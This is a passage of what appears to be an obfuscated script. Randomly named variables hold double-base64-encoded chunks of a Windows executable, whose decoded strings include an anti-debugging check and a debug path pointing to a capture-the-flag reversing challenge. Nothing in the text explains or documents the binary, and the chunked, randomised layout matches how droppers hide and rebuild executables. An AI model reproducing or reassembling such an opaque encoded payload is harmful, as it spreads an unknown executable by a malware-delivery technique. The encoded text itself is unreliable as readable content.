XpNek16TXpNek16TXpNU0lIc1dBUUFBRWlMQmZxRUFBQklNOFJJaVlRa1FBUUFBSUE5a1kwQUFBQVBoUndCQUFER0JZU05BQUFCNkk0QkFBQkloY0FQaFFrQkFBQklqUTBtYWdBQTZLbkYvLzlJ" CxNzoOzrcwNLxwYcHMjlpynrYs = "TXpNek1kUkZJWTBRNkJFZ0R3WUU4S016TXpNeDBEMGlMVENRb1NJdFVPZ2pvWnZULy8vL0RTSVBIRURzZWZNUklpM3drTUVpTFhDUTRTSXRzSkVCSWc4UWdYc1BNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNekVCVFYwaUQ3Q2hJaVd3a1FEUC9USWw4SkNCSmk5aElpK3BNaS9sSWhkSjBYRWlKZENSSWkvYzVPbjVNVElsMEpGQkVpL2RJaTFVSVNtTU1Na0tCZkRuOHpNek16SFVTU21ORU1nUklBOEZDZ1R3NHpNek16SFFQU0l0TUpEaEtpMVF5Q09pdzgvLy8vOFpKZzhZUU8zVUFmTUZNaTNRa1VFaUxkQ1JJVEl0OEpDQklpOE5JaTJ3a1FFaUYyM1J0a0VpTFFBVC94MGlGd0hYMUR4OUVBQUNCTzh6TXpNeDFHNEY3Rk16TXpNeDFFb0Y3R016TXpNeDFDWUY3SE16TXpNeDBFRWlMVENRNFJJdkhTSXZUNkVuMC8vOUlpME1NZ1h3WS9Nek16TXgwRUVpTFRDUTRSSXZIU0l2VDZDdjAvLzlJaTFzRS84OUloZHQxcEVpRHhDaGZXOFBNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpFaU5CWXJ5Ly8vRHpNek16TXpNek14SWpRWFI4UC8vdzh6TXpNek16TXpNU0lQc09JQTl2ckVBQUFCMUxVRzVBUUFBQU1ZRnI3" tLnjIIqQbfzUXdfNouipqHjXpLG = "TXpNek14SWcrd282TEhZLy8vb3h0Zi8vN0FCU0lQRUtNUE16TXpNek16TXpNek16RXlKVENRZ1RJbEVKQmlKVkNRUVNJbE1KQWhJZyt3NDZIL1gvLytGd0hVeWczd2tTQUYxSzBpTFJDUllTSWxFSkNCSWkwUWtJRWlKUkNRb1RJdEVKRkF6MGtpTFRDUkFTSXRFSkNqL0ZTNzJBQUJJaTFRa2FJdE1KR0Rvek5mLy8waUR4RGpEek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNU0lQc0tPZ1MxLy8vaGNCMERraU5EUXllQUFEb0J0ai8vK3NPNkVmVy8vK0Z3SFVGNkFuWi8vOUlnOFFvdzh6TXpNek16TXpNek16TXpNek16TXpNekVpRDdDZ3p5ZWdNMS8vLzZBYlkvLzlJZzhRb3c4ek16TXpNek16TXpNek1pVXdrQ0VpRDdDaURmQ1F3QUhVSHhnV2luUUFBQWVobjJQLy82T0xWLy84UHRzQ0Z3SFVFTXNEckdlZ1cyUC8vRDdiQWhjQjFDelBKNlBiVi8vOHl3T3NDc0FGSWc4UW93OHpNek16TXpNek16TXpNek16TXpNek16TXpNek16TWlVd2tDRlpYU0lQc2FBKzJCVWlkQUFDRndIUUhzQUhwNFFBQUFJTzhKSUFBQUFBQWRCU0R2Q1NBQUFBQUFYUUt1UVVBQUFEbzdkZi8vK2djMXYvL2hjQjBPb084SklBQUFBQUFkVEJJalEwTW5RQUE2R25ZLy8rRndIUUhNc0RwbVFBQUFFaU5EUTJkQUFEb1V0ai8vNFhBZEFjeXdPbUNBQUFBNjNkSXgwUWtJUC8vLy85SWkwUWtJRWlKUkNRb1NJdEVKQ0JJ" YABsnhnhxXaUhoDPUSvvFRbIsOHAc = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" SAJdC = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" TZHYOwXfxjTPvguvOFnAT = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFQRDk0Yld3Z2RtVnljMmx2Ymowbk1TNHdKeUJsYm1OdlpHbHVaejBuVlZSR0xUZ25JSE4wWVc1a1lXeHZibVU5SjNsbGN5Yy9QZzBLUEdGemMyVnRZbXg1SUhodGJHNXpQU2QxY200NmMyTm9aVzFoY3kxdGFXTnliM052Wm5RdFkyOXRPbUZ6YlM1Mk1TY2diV0Z1YVdabGMzUldaWEp6YVc5dVBTY3hMakFuUGcwS0lDQThkSEoxYzNSSmJtWnZJSGh0Ykc1elBTSjFjbTQ2YzJOb1pXMWhjeTF0YVdOeWIzTnZablF0WTI5dE9tRnpiUzUyTXlJK0RRb2dJQ0FnUEhObFkzVnlhWFI1UGcwS0lDQWdJQ0FnUEhKbGNYVmxjM1JsWkZCeWFYWnBiR1ZuWlhNK0RRb2dJQ0FnSUNBZ0lEeHlaWEYxWlhOMFpXUkZlR1ZqZFhScGIyNU1aWFpsYkNCc1pYWmxiRDBuWVhOSmJuWnZhMlZ5SnlCMWFVRmpZMlZ6Y3owblptRnNjMlVuSUM4K0RRb2dJQ0FnSUNBOEwzSmxjWFZsYzNSbFpGQnlhWFpwYkdWblpYTStEUW9nSUNBZ1BDOXpaV04xY21sMGVUNE5DaUFnUEM5MGNuVnpkRWx1Wm04K0RRbzhMMkZ6YzJWdFlteDVQZzBLQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" KuoAmNWXhbIXyUUDtQJrlEs = "TXpNek16TXpNU0lQc0tFaU5EWURMLy8vL0ZWZkxBQUJJZzhRb3c4ek16TXpNek16TXpNd3p3TVBNek16TXpNek16TXpNek16TVNJbE1KQWhJZyt3NFNJdEVKRUJJaXdCSWlVUWtJRWlMUkNRZ2dUaGpjMjNnZFhCSWkwUWtJSU40R0FSMVpVaUxSQ1FnZ1hnZ0lBV1RHWFFxU0l0RUpDQ0JlQ0FoQlpNWmRCeElpMFFrSUlGNElDSUZreGwwRGtpTFJDUWdnWGdnQUVDWkFYVXQ2SnZLLy85SWkwd2tJRWlKQ0VpTFJDUkFTSXRBQ0VpSlJDUW82QnJNLy85SWkwd2tLRWlKQ09nS3l2Ly9NOEJJZzhRNHc4ek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek1TSWxjSkFoWFNJUHNJRWlOSFVkNUFBQklqVDFZZXdBQVNEdmZjeG9QSHdCSWl3TkloY0IwQnY4Vm91a0FBRWlEd3doSU85OXk2VWlMWENRd1NJUEVJRi9Eek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TVNJbGNKQWhYU0lQc0lFaU5IUmQ4QUFCSWpUMG9mZ0FBU0R2ZmN4b1BId0JJaXdOSWhjQjBCdjhWUXVrQUFFaUR3d2hJTzk5eTZVaUxYQ1F3U0lQRUlGL0R6TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNU0lsTUpBakR6TXpNek16TXpNek16RWlKVENRSVNJUHNHRWlMUkNRZ1NJc0FTSWtFSkVpTEJDUklnOFFZdzh6TXpNek16TXpNek16TXpNek16TXpNekVpSlRD" rGDzbNeSOAQBdDQMhR = "R2x1WnlCaElHWjFibU4wYVc5dUlHUmxZMnhoY21Wa0lIZHBkR2dnYjI1bElHTmhiR3hwYm1jZ1kyOXVkbVZ1ZEdsdmJpQjNhWFJvSUdFZ1puVnVZM1JwYjI0Z2NHOXBiblJsY2lCa1pXTnNZWEpsWkNCM2FYUm9JR0VnWkdsbVptVnlaVzUwSUdOaGJHeHBibWNnWTI5dWRtVnVkR2x2Ymk0TkNnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCQklHTmhjM1FnZEc4Z1lTQnpiV0ZzYkdWeUlHUmhkR0VnZEhsd1pTQm9ZWE1nWTJGMWMyVmtJR0VnYkc5emN5QnZaaUJrWVhSaExpQWdTV1lnZEdocGN5QjNZWE1nYVc1MFpXNTBhVzl1WVd3c0lIbHZkU0J6YUc5MWJHUWdiV0Z6YXlCMGFHVWdjMjkxY21ObElHOW1JSFJvWlNCallYTjBJSGRwZEdnZ2RHaGxJR0Z3Y0hKdmNISnBZWFJsSUdKcGRHMWhjMnN1SUNCR2IzSWdaWGhoYlhCc1pUb2dJQTBLQ1dOb1lYSWdZeUE5SUNocElDWWdNSGhHUmlrN0RRcERhR0Z1WjJsdVp5QjBhR1VnWTI5a1pTQnBiaUIwYUdseklIZGhlU0IzYVd4c0lHNXZkQ0JoWm1abFkzUWdkR2hsSUhGMVlXeHBkSGtnYjJZZ2RHaGxJSEpsYzNWc2RHbHVaeUJ2Y0hScGJXbDZaV1FnWTI5a1pTNE5DZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" cPrUiVywLZUKwzBPpPGaKMdqfRcymaJgxAoGgEYriOdrgt = "ek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16" oOSfGOgqlGkIAORYvObGcsjZrFGieEKfgdpWSbhHAxbUytAITWPR = "TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpN" LApgwYbUQYSyklAgNUxVRcVucekjfKxsELGOuvnmbPlAjrKUuKspsufADOwt = "WkVsa0FBQ1hBMGx6UkdWaWRXZG5aWEpRY21WelpXNTBBSHNFVW1GcGMyVkZlR05sY0hScGIyNEFBQWdFVFhWc2RHbENlWFJsVkc5WGFXUmxRMmhoY2dBcEJsZHBaR1ZEYUdGeVZHOU5kV3gwYVVKNWRHVUE2UVJTZEd4RFlYQjBkWEpsUTI5dWRHVjRkQUR4QkZKMGJFeHZiMnQxY0VaMWJtTjBhVzl1Ulc1MGNua0FBUGdFVW5Sc1ZtbHlkSFZoYkZWdWQybHVaQUFBMkFWVmJtaGhibVJzWldSRmVHTmxjSFJwYjI1R2FXeDBaWElBQUpjRlUyVjBWVzVvWVc1a2JHVmtSWGhqWlhCMGFXOXVSbWxzZEdWeUFDb0NSMlYwUTNWeWNtVnVkRkJ5YjJObGMzTUF0Z1ZVWlhKdGFXNWhkR1ZRY205alpYTnpBQUNlQTBselVISnZZMlZ6YzI5eVJtVmhkSFZ5WlZCeVpYTmxiblFBWkFSUmRXVnllVkJsY21admNtMWhibU5sUTI5MWJuUmxjZ0FyQWtkbGRFTjFjbkpsYm5SUWNtOWpaWE56U1dRQUFRTkhaWFJUZVhOMFpXMVVhVzFsUVhOR2FXeGxWR2x0WlFDQkEwbHVhWFJwWVd4cGVtVlRUR2x6ZEVobFlXUUE2QUpIWlhSVGRHRnlkSFZ3U1c1bWIxY0FqQUpIWlhSTmIyUjFiR1ZJWVc1a2JHVlhBQUIwQWtkbGRFeGhjM1JGY25KdmNnQUFZd05JWldGd1FXeHNiMk1BWndOSVpXRndSbkpsWlFBQXl3SkhaWFJRY205alpYTnpTR1ZoY0FBQStRVldhWEowZFdGc1VYVmxjbmtBQUwwQlJuSmxaVXhwWW5KaGNua0F4QUpIWlhS" lJdgGUR = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" UukH = "NFd3QUFBQVFCMEFBTWVGdEFBQUFNQU5BQURIaGJnQUFBQUFGZ0FBeDRXOEFBQUFRQlFBQU1lRndBQUFBSUFOQUFESGhjUUFBQUJBSFFBQXg0WElBQUFBZ0J3QUFNZUZ6QUFBQUlBTUFBREhoZEFBQUFDQUdBQUF4NFhVQUFBQUFCMEFBTWVGMkFBQUFJQUpBQURIaGR3QUFBQ0FDUUFBeDRYZ0FBQUFnQWtBQU1lRjVBQUFBSUFlQUFDRHZjQURBQUFDZEJaSWpRMTlrZ0FBNkJqMy8vKzRBUUFBQU9uY0FBQUF4NFVFQWdBQUFBQUFBT3NPaTRVRUFnQUEvOENKaFFRQ0FBQzRDQUFBQUVocndBRklpNDNJQXdBQVNJc01BZWl6OXYvL09ZVUVBZ0FBZlQ5SVk0VUVBZ0FBU0lQNE5uTXl1QWdBQUFCSWE4QUJTR09OQkFJQUFFaUxsY2dEQUFCSWl3UUNENzRFQ01IZ0JraGpqUVFDQUFDSmhJMFFBUUFBNjVMSGhRUUNBQUFBQUFBQTZ3NkxoUVFDQUFEL3dJbUZCQUlBQUVoamhRUUNBQUJJZy9nMmN5MUlZNFVFQWdBQVNHT05CQUlBQUl1TWpSQUJBQUE1VElVUWRCQklqUTIza1FBQTZFYjIvLzh6d09zUTY3aElqUTJwa1FBQTZEVDIvLzh6d0VpTCtFaU5UZUJJalJWVWtRQUE2SXozLy85SWk4ZElqYVdvQXdBQVgxM0R6TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpN" eYGXDYAkiMnkMYrxGeLZkudKRTmVWqyiygBJrkzvMDupSVfqXYyuTLwLHOkjhvC = "Q1FJU0lQc09Ma1hBQUFBL3hVTTN3QUFoY0IwQjdrQ0FBQUF6U2xJalEyS29BQUE2UFVEQUFCSWkwUWtPRWlKQlhHaEFBQklqVVFrT0VpRHdBaElpUVVCb1FBQVNJc0ZXcUVBQUVpSkJjdWZBQUJJaTBRa1FFaUpCYytnQUFESEJhV2ZBQUFKQkFEQXh3V2Zud0FBQVFBQUFNY0ZxWjhBQUFFQUFBQzRDQUFBQUVocndBQklqUTJobndBQVNNY0VBUUlBQUFDNENBQUFBRWhyd0FCSWl3M1JuUUFBU0lsTUJDQzRDQUFBQUVocndBRklpdzIwblFBQVNJbE1CQ0JJalEzSWdnQUE2STNmLy85SWc4UTR3OHpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek1TSVBzS0xrSUFBQUE2RFBlLy85SWc4UW93OHpNek16TXpNek16TXpNek15SlRDUUlTSVBzS0xrWEFBQUEveFhkM1FBQWhjQjBDSXRFSkRDTHlNMHBTSTBOV3A4QUFPZ0ZBZ0FBU0l0RUpDaElpUVZCb0FBQVNJMUVKQ2hJZzhBSVNJa0YwWjhBQUVpTEJTcWdBQUJJaVFXYm5nQUF4d1dCbmdBQUNRUUF3TWNGZTU0QUFBRUFBQURIQllXZUFBQUJBQUFBdUFnQUFBQklhOEFBU0kwTmZaNEFBSXRVSkRCSWlSUUJTSTBOem9FQUFPaVQzdi8vU0lQRUtNUE16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpN" PybvPlDJqWjrprGZSOHELncQwLXqEXvfMGEBVOEaccKNdCxzkRXJDNdsM = "ek16RXlKVENRZ1RJbEVKQmhJaVZRa0VFaUpUQ1FJVlZkSWdlejRBQUFBU0kxc0pEQklqUTMrQndFQTZGUDcvLy9vRmZqLy8waUxqZmdBQUFCSWlVd2tJRXlMamZBQUFBQk1pNFhvQUFBQVNJdVY0QUFBQUVpTENQOFZ5L29BQUVpTnBjZ0FBQUJmWGNQTXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNU0lsVUpCQ0pUQ1FJVlZkSWdleklBd0FBU0kxc0pDQklqWHdrSUxtS0FBQUF1TXpNek16enE0dU1KT2dEQUFCSWpRMTRCd0VBNk1iNi8vL0hSUkRBRUFBQXgwVVVnQkVBQU1kRkdBQVZBQURIUlJ3QUVRQUF4MFVnd0JRQUFNZEZKRUFRQUFESFJTZ0FId0FBeDBVc1FCUUFBTWRGTUVBWkFBREhSVFNBR1FBQXgwVTRBQllBQU1kRlBJQU5BQURIUlVBQUhRQUF4MFZFQUJZQUFNZEZTTUFZQUFESFJVeUFHUUFBeDBWUVFCb0FBTWRGVkFBWUFBREhSVmlBR0FBQXgwVmNRQjBBQU1kRllBQWFBQURIUldTQUhBQUF4MFZvQUIwQUFNZEZiSUFKQUFESFJYQ0FDUUFBeDBWMGdBa0FBTWRGZUFBV0FBREhSWHhBRVFBQXg0V0FBQUFBZ0EwQUFNZUZoQUFBQUFBY0FBREhoWWdBQUFDQUdRQUF4NFdNQUFBQVFCMEFBTWVGa0FBQUFJQVlBQURIaFpRQUFBQUFGZ0FBeDRXWUFBQUF3QTBBQU1lRm5BQUFBRUFZQUFESGhhQUFBQUFBRmdBQXg0V2tBQUFBZ0JJQUFNZUZxQUFBQUlBWkFBREhoYXdBQUFBQUdRQUF4" xPwYBnIxnYgEBltvciefwyPdNaqcxqVUFITQXdSjFmRRnEAHVk = "ZzN3a1JBQjFFdysyUkNSQmhjQjFDcmtEQUFBQTZGelAvLzlJZ2NUd0JRQUFYOFBNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNekVCWFNJSHNvQUFBQUVpTlJDUXdTSXY0TThDNWFBQUFBUE9xU0kxTUpERC9GZXZMQUFDTFJDUnNnK0FCaGNCMEN3KzNSQ1J3aVVRa0lPc0l4MFFrSUFvQUFBQVB0MFFrSUVpQnhLQUFBQUJmdzh6TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNeElnK3dvNkxETC8vOUlnOFFvdzh6TXpNek16TXpNek16TXpNek16TXpNekRQQXc4ek16TXpNek16TXpNek16TXhJZyt3NE04bi9GZVRMQUFCSWlVUWtJRWlEZkNRZ0FIVUhNc0RwZ1FBQUFFaUxSQ1FnRDdjQVBVMWFBQUIwQkRMQTYyNUlpMFFrSUVoalFEeElpMHdrSUVnRHlFaUx3VWlKUkNRb1NJdEVKQ2lCT0ZCRkFBQjBCRExBNjBSSWkwUWtLQSszUUJnOUN3SUFBSFFFTXNEck1FaUxSQ1FvZzdpRUFBQUFEbmNFTXNEckhyZ0lBQUFBU0d2QURraUxUQ1FvZzd3QmlBQUFBQUIxQkRMQTZ3S3dBVWlEeERqRHpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16" hSMCKWvRKxqOlNXtxEvAkoMfYsBVBUnGfsjyGVjupZBKJg = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQURjSEFJQUFBQUFBR29iQWdBQUFBQUFmaHNDQUFBQUFBQ1FHd0lBQUFBQUFLWWJBZ0FBQUFBQXZCc0NBQUFBQUFEUUd3SUFBQUFBQU9vYkFnQUFBQUFBL2hzQ0FBQUFBQUJhSFFJQUFBQUFBRXdkQWdBQUFBQUFQQjBDQUFBQUFBQXFIUUlBQUFBQUFCNGRBZ0FBQUFBQUVoMENBQUFBQUFBQ0hRSUFBQUFBQU80Y0FnQUFBQUFBVkJzQ0FBQUFBQURHSEFJQUFBQUFBS3djQWdBQUFBQUFsaHdDQUFBQUFBQjhIQUlBQUFBQUFHQWNBZ0FBQUFBQVRCd0NBQUFBQUFBNEhBSUFBQUFBQUJvY0FnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCeUdBSUFBQUFBQUZnWUFnQUFBQUFBUEJnQ0FBQUFBQUFlR0FJQUFBQUFBQWdZQWdBQUFBQUE2QmNDQUFBQUFBRElG" FBhMCgIdLoYhtHCKPaUjzTXWQrlTWFjaOvvCOrpvPMV = "a2FwbzNSUG4xbmhGUEd0VUFzQkFBQUFSVHBjVDNSb1pYSnpYRU5VUmx4U1pWeFBkR2hsY25OY1pHOWpRM0poWTJ0Y2MzSmpYSFJ5YVdOclhIZzJORnhFWldKMVoxeDBjbWxqYXk1d1pHSUFBQUFBQUFBa0FBQUFKQUFBQUFFQUFBQWpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ